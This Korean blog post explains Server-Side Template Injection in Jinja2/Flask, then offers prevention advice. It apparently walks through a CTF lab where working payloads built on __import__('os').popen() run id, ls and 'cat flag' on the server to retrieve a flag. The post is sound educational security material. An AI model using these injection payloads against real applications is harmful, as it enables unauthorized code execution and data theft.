본문 바로가기
해킹&보안/웹

SSTI

SSTI(Server-Side Template Injection) 취약점 정리

SSTI(Server-Side Template Injection)는 웹 애플리케이션의 서버 측 템플릿 렌더링 엔진에서 발생하는 취약점으로, 사용자가 입력한 데이터가 템플릿 엔진 내에서 코드로 실행될 수 있는 상황에서 발생합니다. 이 취약점은 공격자가 악의적인 템플릿 코드를 삽입하여 서버 측에서 원하지 않는 명령을 실행하거나 민감한 정보를 노출시키는 등 심각한 보안 문제를 초래할 수 있습니다

SSTI 발생 원인

SSTI는 사용자의 입력값이 템플릿 엔진에 그대로 전달될 때 발생합니다. 템플릿 엔진이 입력값을 코드로 처리하는 특성 때문에, 입력값에 악의적인 템플릿 코드가 포함되면 서버에서 이를 실행하게 되어 보안 취약점이 생깁니다

공격 방법

공격자는 템플릿 엔진의 문법을 악용하여, 서버 측에서 실행되는 코드를 삽입할 수 있습니다. 예를 들어, Jinja2 템플릿 엔진을 사용하는 경우, 사용자가 {{ 7*7 }}와 같은 입력을 통해 서버에서 계산된 결과를 볼 수 있게 만들 수 있습니다. 악성 코드를 삽입하면, 다음과 같은 위험한 결과를 초래할 수 있습니다

  • 시스템 명령어 실행
  • 민감한 데이터 노출
  • 서버의 파일 시스템 접근

예시 공격

  • Jinja2(Flask 등에서 사용): 템플릿 내에서 {{ config }}와 같은 코드를 삽입하면, 서버 측에서 해당 변수나 명령을 실행하게 될 수 있습니다
  • 공격자는 이를 악용하여 서버의 중요한 설정 값을 추출하거나, 파일 시스템에 접근할 수 있습니다
입력폼에 123을 입력후 ok클릭

 

일력값 그대로 나오는 것을 확인
이번엔 {{ }}안에 값을 넣어서 확인
연산의 결과가 나온 것을 확인

 연산의 값이 나오는 것을 보고 SSTI가 가능하다는 것을 알 수 있습니다

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

 

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

이 페이로드는 id 명령어를 실행하여 시스템 정보를 반환하는 예시입니다. WAF(Web Application Firewall)가 특정 문자를 차단하는 경우, 이런 차단을 우회하기 위해 다양한 우회 기법을 사용할 수 있습니다

입력칸에 넣으니 이렇게 결과가 나옵니다

 

이제 다시

{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

이 코드로 입력을 해봤더니 결과는 아래와 같이 나왔습니다

 왼쪽에서부터

 

  1. __pycache__: 파이썬 컴파일된 바이트 코드 파일들이 저장되는 디렉토리
  2. app.py: 아마 웹 애플리케이션의 메인 파이썬 파일
  3. flag: 이 파일은 해당 문제에서 필요한 플래그 파일(추정?)
  4. requirements.txt: 프로젝트에 필요한 파이썬 패키지 목록을 명시한 파일

 우리가 찾고자하는 건 플래그 값이니까 ls말고 이제는

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

 이렇게 검색해봅니다.

이렇게하니 목표였던 Flag값을 얻을 수 있었습니다

이 과정에서 SSTI를 사용했습니다

 

위험성

SSTI 공격은 매우 위험한데 공격자가 서버 측에서 코드 실행을 유발하면, 아래와 같은 문제를 일으킬 수 있습니다

  • 정보 유출: 서버의 민감한 정보나 환경 변수 등이 노출될 수 있습니다
  • 원격 코드 실행: 공격자가 악성 코드를 실행하여 서버를 완전히 제어할 수 있습니다
  • 데이터베이스 접근: 데이터베이스 쿼리를 실행해 중요한 정보를 탈취할 수 있습니다

예방 방법

SSTI를 방지하려면 다음과 같은 보안 조치를 취해야 합니다

  1. 사용자 입력 검증 및 필터링: 사용자로부터 입력받은 데이터는 항상 검증하고, 악성 코드나 특수 문자가 포함되지 않도록 처리해야 합니다
  2. 템플릿 엔진 설정 강화: 템플릿 엔진에서 코드 실행을 비활성화하거나, 가능한 경우 사용자 입력을 코드로 실행되지 않도록 설정합니다
  3. escape 처리: 템플릿 렌더링 시, 사용자 입력은 항상 escape 처리하여 실행되지 않도록 해야 합니다
  4. 최소 권한 원칙 적용: 템플릿 엔진이 서버 자원에 접근할 수 있는 권한을 최소화해야 합니다
 
 

'해킹&보안 > ' 카테고리의 다른 글

[Writeup] WebDecode  (1) 2025.04.29
[Writeup] 웹 쿠키 조작을 활용한 플래그 추출  (0) 2025.04.29
웹 해킹 실습  (1) 2025.01.08
FTP 보안  (1) 2024.09.21
GET / POST로 데이터 전송하기 (실습)  (2) 2024.09.14